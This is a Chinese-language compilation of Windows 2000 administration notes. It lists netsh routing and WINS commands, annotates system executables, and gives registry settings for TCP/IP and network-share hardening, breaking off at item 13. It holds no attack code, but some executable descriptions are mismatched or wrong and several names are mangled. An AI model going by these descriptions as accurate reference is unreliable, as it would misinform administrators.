    routing ipx add/set filter 在指定的接口上添加或配置 IPX 数据包筛选器。
    routing ipx add/set interface 在请求拨号接口上启用 IPX 路由,或在指定的接口上配置 IPX 设置。
    routing ipx set global 配置全局 IPX 路由设置。
    routing ipx rip add/set filter 添加和配置 RIP 路由筛选器。
    routing ipx rip set global 配置全局 IPX 的 RIP 设置。
    routing ipx rip set interface 在指定接口上配置 IPX 的 RIP 设置。
    routing ipx sap add/set filter 添加或配置 SAP 服务筛选器。
    routing ipx sap set global 配置全局 IPX 的 SAP 设置。
    routing ipx sap set interface 在指定接口上配置 IPX 的 SAP 设置。
    routing ipx netbios add nbname 将静态 NETBIOS 名称添加到 IPX NetBIOS 名称表中。
    routing ipx netbios set interface 在指定接口上配置基于 IPX 的 NetBIOS 设置。

    WINS NetSh 命令
    list 列出所有可用的 WINS 命令。
    dump 将 WINS 服务器配置转储到命令输出。
    add name 在服务器上注册名称。详细信息,请输入 add name /?
    add partner 向服务器添加复制伙伴。详细信息,请输入 add partner /?
    add pngserver 添加当前服务器的 Persona Non Grata 服务器列表。详细信息,请输入 add pngserver /?
    check database 检查数据库的一致性。详细信息,请输入 check database /?
    check name 检查一组 WINS 服务器的名称记录列表。详细信息,请输入 check name /?
    check version 检查版本号的一致性。详细信息,请输入 check version /?
    delete name 从服务器数据库中删除已注册的名称。详细信息,请输入 delete name /?
    delete partner 从复制伙伴列表中删除复制伙伴。详细信息,请输入 delete partner /?
    delete records 从服务器删除或逻辑删除所有记录或一组记录。详细信息,请输入 delete records /?
    delete owners 删除所有者列表及其记录。详细信息,请输入 delete owners /?
    delete pngserver 从列表中删除所有的或选定的 Persona Non Grata 服务器。详细信息,请输入 delete pngserver /?
    init backup 备份 WINS 数据库。详细信息,请输入 init backup /?
    init import 从 Lmhosts 文件导入数据。详细信息,请输入 init import /?
    init pull 启动“拉”触发器,并发送给另一台 WINS 服务器。详细信息,请输入 init pull /?
    init pullrange 开始另一台 WINS 服务器的一组记录,并读取该记录。详细信息,请输入 init pullrange /?
    init push 启动“推”触发器,并发送给另一台 WINS 服务器。详细信息,请输入 init push /?
    init replicate 用复制伙伴复制数据库。详细信息,请输入 init replicate /?
    init restore 从文件还原数据库。详细信息,请输入 init restore /?
    init scavenge 清除服务器的 WINS 数据库。详细信息,请输入 init scavenge /?
    init search 搜索服务器的 WINS 数据库。详细信息,请输入 init search /?
    reset statistics 重置服务器的统计信息。详细信息,请输入 reset statistics /?
    set autopartnerconfig 设置服务器的自动复制伙伴配置信息。详细信息,请输入 set autopartnerconfig /?
    set backuppath 设置服务器的备份参数。详细信息,请输入 set backuppath /?
    set burstparam 设置服务器的突发处理参数。详细信息,请输入 set autopartnerconfig /?
    set logparam 设置数据库和事件日志记录选项。详细信息,请输入 set logparam /?
    set migrateflag 设置服务器的迁移标志。详细信息,请输入 set migrateflag /?
    set namerecord 设置服务器的间隔和超时值。详细信息,请输入 set namerecord /?
    set periodicdbchecking 设置服务器的定期数据库检查参数。详细信息,请输入 set periodicdbchecking /?
    set pullpartnerconfig 设置指定的“拉”伙伴的配置参数。详细信息,请输入 set pullpartnerconfig /?
    set pushpartnerconfig 设置指定的“推”伙伴的配置参数。详细信息,请输入 set pushpartnerconfig /?
    set pullparam 设置服务器的默认“拉”参数。详细信息,请输入 set pullparam /?
    set pushparam 设置服务器的默认“推”参数。详细信息,请输入 set pushparam /?
    set replicateflag 设置服务器的复制标志。详细信息,请输入 set replicateflag /?
    set startversion 设置数据库的开始版本 ID。详细信息,请输入 set startversion /?
    show browser 显示所有活动域主浏览器的 [1Bh] 记录。详细信息,请输入 show browser /?
    show database 显示指定服务器的数据库和记录。详细信息,请输入 show database /?
    show info 显示配置信息。详细信息,请输入 show info /?
    show name 显示服务器中特定记录的详细信息。详细信息,请输入 show name /?
    show partner 显示服务器的“拉”或“推”(或“推拉”)伙伴。详细信息,请输入 show partner /?
    show partnerproperties 显示默认伙伴配置。详细信息,请输入 show partnerproperties /?
    show pullpartnerconfig 显示“拉”伙伴的配置信息。详细信息,请输入 show pullpartnerconfig /?
    show pushpartnerconfig 显示“推”伙伴的配置信息。详细信息,请输入 show pushpartnerconfig /?
    show reccount 显示指定服务器所拥有的记录数量。详细信息,请输入 show reccount /?
    show recbyversion 显示指定服务器所拥有的记录。详细信息,请输入 show recbyversion /?
    show server 显示当前选定的服务器。详细信息,请输入 show server /?
    show statistics 显示 WINS 服务器的统计信息。详细信息,请输入 show statistics /?
    show version 显示 WINS 服务器的当前版本计数器值。详细信息,请输入 show version /?
    show versionmap 显示所有者 ID 到“最大版本数”的映射。详细信息,请输入 show versionmap /?
    Interface 命令
    interface set/show interface 启用、禁用、连接、断开连接以及显示请求拨号接口的配置。
    interface set/show credentials 在请求拨号接口上配置或显示用户名、密码和域名。
    Win2000命令全集

    accwiz.exe > Accessibility Wizard for walking you through setting up your machine for your mobility needs. 辅助工具向导

    acsetups.exe > ACS setup DCOM server executable

    actmovie.exe > Direct Show setup tool 直接显示安装工具

    append.exe > Allows programs to open data in specified directories as if they were in the current directory. 允许程序打开制定目录中的数据

    arp.exe > NETWORK Display and modify IP - Hardware addresses 显示和更改计算机的IP与硬件物理地址的对应列表

    at.exe > AT is a scheduling utility also included with UNIX 计划运行任务

    atmadm.exe > Displays statistics for ATM call manager. ATM调用管理器统计

    attrib.exe > Display and modify attributes for files and folders 显示和更改文件和文件夹属性

    autochk.exe > Used to check and repair Windows File Systems 检测修复文件系统

    autoconv.exe > Automates the file system conversion during reboots 在启动过程中自动转化系统

    autofmt.exe > Automates the file format process during reboots 在启动过程中格式化进程

    autolfn.exe > Used for formatting long file names 使用长文件名格式

    bootok.exe > Boot acceptance application for registry

    bootvrfy.exe > Bootvrfy.exe, a program included in Windows 2000 that notifies the system that startup was successful. Bootvrfy.exe can be run on a local or remote computer. 通报启动成功
    cacls.exe > Displays or modifies access control lists (ACLs) of files. 显示和编辑ACL

    calc.exe > Windows Calculators 计算器

    cdplayer.exe > Windows CD Player CD播放器

    change.exe > Change { User | Port | Logon } 与终端服务器相关的查询

    charmap.exe > Character Map 字符映射表

    chglogon.exe > Same as using "Change Logon" 启动或停用会话记录

    chgport.exe > Same as using "Change Port" 改变端口(终端服务)

    chgusr.exe > Same as using "Change User" 改变用户(终端服务)

    chkdsk.exe > Check the hard disk for errors similar to Scandisk 3 Stages must specify a Drive Letter 磁盘检测程序

    chkntfs.exe > Same as using chkdsk but for NTFS NTFS磁盘检测程序

    cidaemon.exe > Component of Ci Filer Service 组成Ci文档服务

    cipher.exe > Displays or alters the encryption of directories [files] on NTFS partitions. 在NTFS上显示或改变加密的文件或目录

    cisvc.exe > Content Index -- It`s the content indexing service for I 索引内容

    ckcnv.exe > Cookie Convertor 变换Cookie

    cleanmgr.exe > Disk Cleanup, popular with Windows 98 磁盘清理

    cliconfg.exe > SQL Server Client Network Utility SQL客户网络工具

    clipbrd.exe > Clipboard viewer for Local will allow you to connect to other clipboards 剪贴簿查看器

    clipsrv.exe > Start the clipboard Server 运行Clipboard服务

    clspack.exe > CLSPACK used to create a file listing of system packages 建立系统文件列表清单

    cluster.exe > Display a cluster in a domain 显示域的集群

    _cmd_.exe > Famous command prompt 没什么好说的!

    cmdl32.exe > Connection Manager Auto-Download 自动下载连接管理

    cmmgr32.exe > Connection Manager 连接管理器

    cmmon32.exe > Connection Manager Monitor 连接管理器监视

    cmstp.exe > Connection Manager Profile Manager 连接管理器配置文件安装程序

    comclust.exe > about cluster server 集群

    comp.exe > ComClust Add, Remove, or Join a cluster. 比较两个文件和文件集的内容*

    compact.exe > Displays or alters the compression of files on NTFS partitions. 显示或改变NTFS分区上文件的压缩状态

    conime.exe > Console IME IME控制台

    control.exe > Starts the control panel 控制面板

    convert.exe > Convert File System to NTFS 转换文件系统到NTFS

    convlog.exe > Converts MS IIS log files 转换IIS日志文件格式到NCSA格式

    cprofile.exe > Copy profiles 转换显示模式

    cscript.exe > MS Windows Scripts Host Version 5.1 较本宿主版本

    csrss.exe > Client Server Runtime Process 客户服务器Runtime进程

    csvde.exe > Comma Separated Variable Import/Export Utility 日至格式转换程序

    dbgtrace.exe > 和Terminal Server相关

    dcomcnfg.exe > Display the current DCOM configuration. DCOM配置属性

    dcphelp.exe > ?

    dcpromo.exe > Promote a domain controller to ADSI AD安装向导

    ddeshare.exe > Display DDE shares on local or remote computer DDE共享

    ddmprxy.exe >

    debug.exe > Runs Debug, a program testing and editing tool. 就是DEBUG啦!

    dfrgfat.exe > Defrag FAT file system FAT分区磁盘碎片整理程序

    dfrgntfs.exe > Defrag NTFS file system NTFS分区磁盘碎片整理程序

    dfs_cmd_.exe > configures a Dfs tree 配置一个DFS树

    dfsinit.exe > Distributed File System Initialization 分布式文件系统初始化

    dfssvc.exe > Distributed File System Server 分布式文件系统服务器

    diantz.exe > MS Cabinet Maker 制作CAB文件

    diskperf.exe > Starts physical Disk Performance counters 磁盘性能计数器

    dllhost.exe > dllhost is used on all versions of Windows 2000. dllhost is the hedost process for all COM+ applications. 所有COM+应用软件的主进程

    dllhst3g.exe >

    dmadmin.exe > Disk Manager Service 磁盘管理服务

    dmremote.exe > Part of disk management 磁盘管理服务的一部分

    dns.exe > DNS Applications DNS

    doskey.exe > recalls Windows command lines and creates macros 命令行创建宏

    dosx.exe > DOS Extender DOS扩展

    dplaysvr.exe > Direct Play Helper 直接运行帮助

    drwatson.exe > Dr Watson for 2000 Fault Detector 华生医生错误检测

    drwtsn32.exe > Dr Watson for 2000 viewer and configuration manager 华生医生显示和配置管理

    dtcsetup.exe > Installs MDTC

    dvdplay.exe > Windows 2000 DVD player DVD播放

    dxdiag.exe > Direct-X Diagnostics Direct-X诊断工具

    edlin.exe > line-oriented text editor. 命令行的文本编辑器(历史悠久啊!)
    edlin.exe > line-oriented text editor. 命令行的文本编辑器(历史悠久啊!)

    esentutl.exe > MS Database Utility MS数据库工具

    eudcedit.exe > Private character editor Ture Type造字程序

    eventvwr.exe > Windows 2000 Event Viewer 事件查看器

    evnt_cmd_.exe > Event to trap translator; Configuration tool

    evntwin.exe > Event to trap translator setup

    exe2bin.exe > Converts EXE to binary format 转换EXE文件到二进制

    expand.exe > Expand Files that have been compressed 解压缩

    extrac32.exe > CAB File extraction utility 解CAB工具

    fastopen.exe > Fastopen tracks the location of files on a hard disk and stores the information in memory for fast access. 快速访问在内存中的硬盘文件

    faxcover.exe > Fax Cover page editor 传真封面编辑

    faxqueue.exe > Display Fax Queue 显示传真队列

    faxsend.exe > Fax Wizard for sending faxes 发送传真向导

    faxsvc.exe > Starts fax server 启动传真服务

    fc.exe > Compares two files or sets of files and their differences 比较两个文件的不同

    find.exe > Searches for a text string in file or files 查找文件中的文本行

    findstr.exe > Searches for strings in files 查找文件中的行

    finger.exe > Fingers a user and displays statistics on that user Finger一个用户并显示出统计结果

    fixmapi.exe > Fix mapi files 修复MAPI文件

    flattemp.exe > Enable or disable temporally directories 允许或者禁用临时文件目录

    fontview.exe > Display fonts in a font file 显示字体文件中的字体

    forcedos.exe > Forces a file to start in dos mode. 强制文件在DOS模式下运行

    freecell.exe > Popular Windows Game 空当接龙

    ftp.exe > File Transfer Protocol used to transfer files over a network connection 就是FTP了

    gdi.exe > Graphic Device Interface 图形界面驱动

    grovel.exe >

    grpconv.exe > Program Manager Group Convertor 转换程序管理员组

    help.exe > displays help for Windows 2000 commands 显示帮助

    hostname.exe > Display hostname for machine. 显示机器的Hostname

    ie4uinit.exe > IE5 User Install tool IE5用户安装工具

    ieshwiz.exe > Customize folder wizard 自定义文件夹向导

    iexpress.exe > Create and setup packages for install 穿件安装包

    iisreset.exe > Restart IIS Admin Service 重启IIS服务

    internat.exe > Keyboard Language Indicator Applet 键盘语言指示器

    ipconfig.exe > Windows 2000 IP configuration. 察看IP配置

    ipsecmon.exe > IP Security Monitor IP安全监视器

    ipxroute.exe > IPX Routing and Source Routing Control Program IPX路由和源路由控制程序

    irftp.exe > Setup FTP for wireless communication 无线连接

    ismserv.exe > Intersite messaging Service 安装或者删除Service Control Manager中的服务

    jdbgmgr.exe > Microsoft debugger for java 4 Java4的调试器

    jetconv.exe > Convert a Jet Engine Database 转换Jet Engine数据库

    jetpack.exe > Compact Jet Database. 压缩Jet数据库

    jview.exe > Command-line loader for Java Java的命令行装载者

    krnl386.exe > Core Component for Windows 2000 2000的核心组件

    label.exe > Change label for drives 改变驱动器的卷标

    lcwiz.exe > License Compliance Wizard for local or remote systems. 许可证符合向导

    ldifde.exe > LDIF cmd line manager LDIF目录交换命令行管理

    licmgr.exe > Terminal Server License Manager 终端服务许可协议管理

    lights.exe > display connection status lights 显示连接状况

    llsmgr.exe > Windows 2000 License Manager 2000许可协议管理

    llssrv.exe > Start the license Server 启动许可协议服务器

    lnkstub.exe >

    locator.exe > RPC Locator 远程定位

    lodctr.exe > Load perfmon counters 调用性能计数

    logoff.exe > Log current user off. 注销用户

    lpq.exe > Displays status of a remote LPD queue 显示远端的LPD打印队列的状态,显示被送到基于Unix的服务器的打印任务

    lpr.exe > Send a print job to a network printer. 重定向打印任务到网络中的打印机。通常用于Unix客户打印机将打印任务发送给连接了打印设备的NT的打印机服务器。

    lsass.exe > LSA Executable and Server DLL 运行LSA和Server的DLL

    lserver.exe > Specifies the new DNS domain for the default server 指定默认Server新的DNS域

    macfile.exe > Used for managing MACFILES 管理MACFILES

    magnify.exe > Used to magnify the current screen 放大镜

    makecab.exe > MS Cabinet Maker 制作CAB文件

    mdm.exe > Machine Debug Manager 机器调试管理

    mem.exe > Display current Memory stats 显示内存状态

    migpwd.exe > Migrate passwords. 迁移密码

    mmc.exe > Microsoft Management Console 控制台

    mnmsrvc.exe > Netmeeting Remote Desktop Sharing NetMeeting远程桌面共享

    mobsync.exe > Manage Synchronization. 同步目录管理器

    mountvol.exe > Creates, deletes, or lists a volume mount point. 创建、删除或列出卷的装入点。

    mplay32.exe > MS Media Player 媒体播放器

    mpnotify.exe > Multiple Provider Notification application 多提供者通知应用程序

    mq1sync.exe >

    mqbkup.exe > MS Message Queue Backup and Restore Utility 信息队列备份和恢复工具

    mqexchng.exe > MSMQ Exchange Connector Setup 信息队列交换连接设置

    mqmig.exe > MSMQ Migration Utility 信息队列迁移工具

    mqsvc.exe > ?

    mrinfo.exe > Multicast routing using SNMP 使用SNMP多点传送路由

    mscdexnt.exe > Installs MSCD (MS CD Extensions) 安装MSCD

    msdtc.exe > Dynamic Transaction Controller Console 动态事务处理控制台

    msg.exe > Send a message to a user local or remote. 发送消息到本地或远程客户

    mshta.exe > HTML Application HOST HTML应用程序主机

    msiexec.exe > Starts Windows Installer Program 开始Windows安装程序

    mspaint.exe > Microsoft Paint 画板

    msswchx.exe >

    mstask.exe > Task Schedule Program 任务计划表程序

    mstinit.exe > Task scheduler setup 任务计划表安装

    narrator.exe > Program will allow you to have a narrator for reading. Microsoft讲述人

    nbtstat.exe > Displays protocol stats and current TCP/IP connections using NBT 使用 NBT(TCP/IP 上的 NetBIOS)显示协议统计和当前 TCP/IP 连接。

    nddeapir.exe > NDDE API Server side NDDE API服务器端

    net.exe > Net Utility 详细用法看/?

    net1.exe > Net Utility updated version from MS Net的升级版

    netdde.exe > Network DDE will install itself into the background 安装自己到后台

    netsh.exe > Creates a shell for network information 用于配置和监控 Windows 2000 命令行脚本接口。

    netstat.exe > Displays current connections. 显示协议统计和当前的 TCP/IP 网络连接。

    nlsfunc.exe > Loads country-specific information 加载特定国家(地区)的信息。Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容。

    notepad.exe > Opens Windows 2000 Notepad 记事本

    nslookup.exe > Displays information for DNS 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。

    ntbackup.exe > Opens the NT Backup Utility 备份和故障修复工具

    ntbooks.exe > Starts Windows Help Utility 帮助

    ntdsutil.exe > Performs DB maintenance of the ADSI 完成ADSI的DB的维护

    ntfrs.exe > NT File Replication Service NT文件复制服务

    ntfrsupg.exe >

    ntkrnlpa.exe > Kernel patch 核心补丁

    ntoskrnl.exe > Core NT Kernel KT的核心

    ntsd.exe >

    ntvdm.exe > Simulates a 16-bit Windows environment 模拟16位Windows环境

    nw16.exe > Netware Redirector NetWare转向器

    nwscript.exe > runs netware scripts 运行Netware脚本

    odbcad32.exe > ODBC 32-bit Administrator 32位ODBC管理

    odbcconf.exe > Configure ODBC driver`s and data source`s from command line 命令行配置ODBC驱动和数据源

    os2.exe > An OS/2 Warp Server (os2 /o) OS/2

    os2srv.exe > An OS/2 Warp Server OS/2

    os2ss.exe > An OS/2 Warp Server OS/2

    osk.exe > On Screen Keyboard 屏幕键盘

    packager.exe > Windows 2000 Packager Manager 对象包装程序

    pathping.exe > Combination of Ping and Tracert 包含Ping和Tracert的程序

    pax.exe > is a POSIX program and path names used as arguments must be specified in POSIX format. Use "//C/Users/Default" instead of "C:\USERS\DEFAULT." 启动便携式存档互换 (Pax) 实用程序

    pentnt.exe > Used to check the Pentium for the floating point division error. 检查Pentium的浮点错误

    perfmon.exe > Starts Windows Performance Monitor 性能监视器

    ping.exe > Packet Internet Groper 验证与远程计算机的连接

    posix.exe > Used for backward compatibility with Unix 用于兼容Unix

    print.exe > Cmd line used to print files 打印文本文件或显示打印队列的内容。

    progman.exe > Program manager 程序管理器

    proquota.exe > Profile quota program

    psxss.exe > POSIX Subsystem Application Posix子系统应用程序

    qappsrv.exe > Displays the available application terminal servers on the network
    在网络上显示终端服务器可用的程序

    qprocess.exe > Display information about processes local or remote 在本地或远程显示进程的信息(需终端服务)

    query.exe > Query TERMSERVER user process and sessions 查询进程和对话

    quser.exe > Display information about a user logged on 显示用户登陆的信息(需终端服务)

    qwinsta.exe > Display information about Terminal Sessions. 显示终端服务的信息

    rasadmin.exe > Start the remote access admin service 启动远程访问服务

    rasautou.exe > Creates a RAS connection 建立一个RAS连接

    rasdial.exe > Dial a connection 拨号连接

    rasphone.exe > Starts a RAS connection 运行RAS连接

    rcp.exe > Copies a file from and to a RCP service. 在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件

    rdpclip.exe > RdpClip allows you to copy and paste files between a terminal session and client console session. 再终端和本地复制和粘贴文件

    recover.exe > Recovers readable information from a bad or defective disk 从坏的或有缺陷的磁盘中恢复可读取的信息。

    redir.exe > Starts the redirector service 运行重定向服务

    regedt32.exe > 32-bit register service 32位注册服务

    regini.exe > modify registry permissions from within a script 用脚本修改注册许可

    register.exe > Register a program so it can have special execution characteristics. 注册包含特殊运行字符的程序

    regsvc.exe >

    regsvr32.exe > Registers and unregister`s dll`s. As to how and where it register`s them I dont know. 注册和反注册DLL

    regtrace.exe > Options to tune debug options for applications failing to dump trace statements
    Trace 设置
    regwiz.exe > Registration Wizard 注册向导

    remrras.exe >

    replace.exe > Replace files 用源目录中的同名文件替换目标目录中的文件。

    reset.exe > Reset an active section 重置活动部分

    rexec.exe > Runs commands on remote hosts running the REXEC service. 在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前,验证远程计算机上的用户名,只有安装了 TCP/IP 协议后才可以使用该命令。

    risetup.exe > Starts the Remote Installation Service Wizard. 运行远程安装向导服务

    route.exe > display or edit the current routing tables. 控制网络路由表

    routemon.exe > no longer supported 不再支持了!

    router.exe > Router software that runs either on a dedicated DOS or on an OS/2 system. Route软件在 DOS或者是OS/2系统

    rsh.exe > Runs commands on remote hosts running the RSH service 在运行 RSH 服务的远程计算机上运行命令

    rsm.exe > Mounts and configures remote system media 配置远程系统媒体

    rsnotify.exe > Remote storage notification recall 远程存储通知回显

    rsvp.exe > Resource reservation protocol 源预约协议

    runas.exe > RUN a program as another user 允许用户用其他权限运行指定的工具和程序

    rundll32.exe > Launches a 32-bit dll program 启动32位DLL程序

    runonce.exe > Causes a program to run during startup 运行程序再开始菜单中

    rwinsta.exe > Reset the session subsystem hardware and software to known initial values 重置会话子系统硬件和软件到最初的值

    savedump.exe > Does not write to e:\winnt\user.dmp 不写入User.dmp中

    scardsvr.exe > Smart Card resource management server 子能卡资源管理服务器

    schupgr.exe > It will read the schema update files (.ldf files) and upgrade the schema. (part of ADSI) 读取计划更新文件和更新计划

    secedit.exe > Starts Security Editor help 自动安全性配置管理

    services.exe > Controls all the services 控制所有服务

    sethc.exe > Set High Contrast - changes colours and display mode Logoff to set it back to normal 设置高对比

    setreg.exe > Shows the Software Publishing State Key values 显示软件发布的国家语言

    setup.exe > GUI box prompts you to goto control panel to configure system components 安装程序(转到控制面板)

    setver.exe > Set Version for Files 设置 MS-DOS 子系统向程序报告的 MS-DOS 版本号

    sfc.exe > System File Checker test and check system files for integrity 系统文件检查

    sfmprint.exe > Print Services for Macintosh 打印Macintosh服务

    sfmpsexe.exe >

    sfmsvc.exe >

    shadow.exe > Monitor another Terminal Services session. 监控另外一台中端服务器会话

    share.exe > Windows 2000 和 MS-DOS 子系统不使用该命令。接受该命令只是为了与 MS-DOS 文件兼容

    shmgrate.exe >

    shrpubw.exe > Create and Share folders 建立和共享文件夹

    sigverif.exe > File Signature Verification 文件签名验证

    skeys.exe > Serial Keys utility 序列号制作工具

    smlogsvc.exe > Performance Logs and Alerts 性能日志和警报

    smss.exe >

    sndrec32.exe > starts the Windows Sound Recorder 录音机

    sndvol32.exe > Display the current volume information 显示声音控制信息

    snmp.exe > Simple Network Management Protocol used for Network Mangement 简单网络管理协议

    snmptrap.exe > Utility used with SNMP SNMP工具

    sol.exe > Windows Solitaire Game 纸牌

    sort.exe > Compares files and Folders 读取输入、排序数据并将结果写到屏幕、文件和其他设备上

    SPOOLSV.EXE > Part of the spooler service for printing 打印池服务的一部分

    sprestrt.exe >

    srvmgr.exe > Starts the Windows Server Manager 服务器管理器

    stimon.exe > WDM StillImage- > Monitor

    stisvc.exe > WDM StillImage- > Service

    subst.exe > Associates a path with a drive letter 将路径与驱动器盘符关联

    svchost.exe > Svchost.exe is a generic host process name for services that are run from dynamic-link libraries (DLLs). DLL得主进程

    syncapp.exe > Creates Windows Briefcase. 创建Windows文件包

    sysedit.exe > Opens Editor for 4 system files 系统配置编辑器

    syskey.exe > Encrypt and secure system database NT账号数据库按群工具

    sysocmgr.exe > Windows 2000 Setup 2000安装程序

    systray.exe > Starts the systray in the lower right corner. 在低权限运行systray

    taskman.exe > Task Manager 任务管理器

    taskmgr.exe > Starts the Windows 2000 Task Manager 任务管理器

    tcmsetup.exe > telephony client wizard 电话服务客户安装

    tcpsvcs.exe > TCP Services TCP服务

    .exe > Telnet Utility used to connect to Telnet Server

    termsrv.exe > Terminal Server 终端服务

    tftp.exe > Trivial FTP 将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件

    tftpd.exe > Trivial FTP Daemon

    themes.exe > Change Windows Themes 桌面主题

    tlntadmn.exe > Telnet Server Administrator Telnet服务管理

    tlntsess.exe > Display the current Telnet Sessions 显示目前的Telnet会话

    tlntsvr.exe > Start the Telnet Server 开始Telnet服务

    tracert.exe > Trace a route to display paths 该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标,以决定到达目标采用的路由

    tsadmin.exe > Terminal Server Administrator 终端服务管理器

    tscon.exe > Attaches a user session to a terminal session. 粘贴用户会话到终端对话

    tsdiscon.exe > Disconnect a user from a terminal session 断开终端服务的用户

    tskill.exe > Kill a Terminal server process 杀掉终端服务

    tsprof.exe > Used with Terminal Server to query results. 用终端服务得出查询结果

    tsshutdn.exe > Shutdown the system 关闭系统

    unlodctr.exe > Part of performance monitoring 性能监视器的一部分

    upg351db.exe > Upgrade a jet database 升级Jet数据库

    ups.exe > UPS service UPS服务

    user.exe > Core Windows Service Windows核心服务

    userinit.exe > Part of the winlogon process Winlogon进程的一部分

    usrmgr.exe > Start the windows user manager for domains 域用户管理器

    utilman.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts. 指定2000启动时自动打开那台机器

    verifier.exe > Driver Verifier Manager Driver Verifier Manager

    vwipxspx.exe > Loads IPX/SPX VDM 调用IPX/SPX VDM

    w32tm.exe > Windows Time Server 时间服务器

    wextract.exe > Used to extract windows files 解压缩Windows文件

    winchat.exe > Opens Windows Chat 打开Windows聊天

    winhlp32.exe > Starts the Windows Help System 运行帮助系统

    winlogon.exe > Used as part of the logon process. Logon进程的一部分

    winmine.exe > windows Game 挖地雷

    winmsd.exe > Windows Diagnostic utility 系统信息

    wins.exe > Wins Service Wins服务

    winspool.exe > Print Routing 打印路由

    winver.exe > Displays the current version of Windows 显示Windows版本

    wizmgr.exe > Starts Windows Administration Wizards Windows管理向导

    wjview.exe > Command line loader for Java 命令行调用Java

    wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE task runs in the target debugee`s VM 启动时,32位API需要

    wowexec.exe > For running Windows over Windows Applications 在Windows应用程序上运行Windows

    wpnpinst.exe > ?

    write.exe > Starts MS Write Program 写字板

    wscript.exe > Windows Scripting Utility 脚本工具

    wupdmgr.exe > Starts the Windows update Wizard (Internet) 运行Windows升级向导

    xcopy.exe > Used to copy directories 复制文件和目录,包括子目录
    修改注册表加强Win 2000安全
    资料编号:23760 来源:电脑报 发布:zwh 时间:2003.04.14 15:42 人气:841 关闭窗口

      1、设置生存时间

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

      DefaultTTL REG_DWORD 0-0xff(0-255 十进制,默认值128)

      说明:指定传出IP数据包中设置的默认生存时间(TTL)值。TTL决定了IP数据包在到达目标前在网络中生存的最大时间。它实际上限定了IP数据包在丢弃前允许通过的路由器数量.有时利用此数值来探测远程主机*作系统。

      2、防止ICMP重定向报文的攻击

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

      EnableICMPRedirects REG_DWORD 0x0(默认值为0x1)

      说明:该参数控制Windows 2000是否会改变其路由表以响应网络设备(如路由器)发送给它的ICMP重定向消息,有时会被利用来干坏事.Win2000中默认值为1,表示响应ICMP重定向报文。

      3、禁止响应ICMP路由通告报文

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Inter

      faces\interface

      PerformRouterDiscovery REG_DWORD 0x0(默认值为0x2)

      说明:“ICMP路由公告”功能可造成他人计算机的网络连接异常,数据被窃听,计算机被用于流量攻击等严重后果.此问题曾导致校园网某些局域网大面积,长时间的网络异常。因此建议关闭响应ICMP路由通告报文.Win2000中默认值为2,表示当DHCP发送路由器发现选项时启用。

      4、防止SYN洪水攻击

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

      SynAttackProtect REG_DWORD 0x2(默认值为0x0)

      说明:SYN攻击保护包括减少SYN-ACK重新传输次数,以减少分配资源所保留的时间。路由缓存项资源分配延迟,直到建立连接为止.如果synattackprotect=2,则AFD的连接指示一直延迟到三路握手完成为止.注意,仅在TcpMaxHalfOpen和TcpMaxHalfOpenRetried设置超出范围时,保护机制才会采取措施。

     5、禁止C$、D$一类的缺省共享

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

      AutoShareServer、REG_DWORD、0x0

      6、禁止ADMIN$缺省共享

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

      AutoShareWks、REG_DWORD、0x0

      7、限制IPC$缺省共享

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa

      restrictanonymous REG_DWORD 0x0 缺省

                  0x1 匿名用户无法列举本机用户列表

                  0x2 匿名用户无法连接本机IPC$共享

      说明:不建议使用2,否则可能会造成你的一些服务无法启动,如SQL Server

      8、不支持IGMP协议

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

      IGMPLevel REG_DWORD 0x0(默认值为0x2)

      说明:记得Win9x下有个bug,就是用可以用IGMP使别人蓝屏,修改注册表可以修正这个bug.Win2000虽然没这个bug了,但IGMP并不是必要的,因此照样可以去掉。改成0后用route print将看不到那个讨厌的224.0.0.0项了。

      9、设置arp缓存老化时间设置

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

      ArpCacheLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为120秒)

      ArpCacheMinReferencedLife REG_DWORD 0-0xFFFFFFFF(秒数,默认值为600)

      说明:如果ArpCacheLife大于或等于ArpCacheMinReferencedLife,则引用或未引用的ARP缓存项在ArpCacheLife秒后到期。如果ArpCacheLife小于ArpCacheMinReferencedLife,未引用项在ArpCacheLife秒后到期,而引用项在ArpCacheMinReferencedLife秒后到期。每次将出站数据包发送到项的IP地址时,就会引用ARP缓存中的项。

     10、禁止死网关监测技术

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

      EnableDeadGWDetect REG_DWORD 0x0(默认值为ox1)

      说明:如果你设置了多个网关,那么你的机器在处理多个连接有困难时,就会自动改用备份网关。有时候这并不是一项好主意,建议禁止死网关监测。

      11、不支持路由功能

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

      IPEnableRouter REG_DWORD 0x0(默认值为0x0)

      说明:把值设置为0x1可以使Win2000具备路由功能,由此带来不必要的问题。

      12、做NAT时放大转换的对外端口最大值

      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services:\Tcpip\Parameters

      MaxUserPort REG_DWORD 5000-65534(十进制)(默认值0x1388--十进制为5000)

      说明:当应用程序从系统请求可用的用户端口数时,该参数控制所使用的最大端口数。正常情况下,短期端口的分配数量为1024-5000。将该参数设置到有效范围以外时,就会使用最接近的有效数值(5000或65534)。使用NAT时建议把值放大点。

      13、修改MAC地址

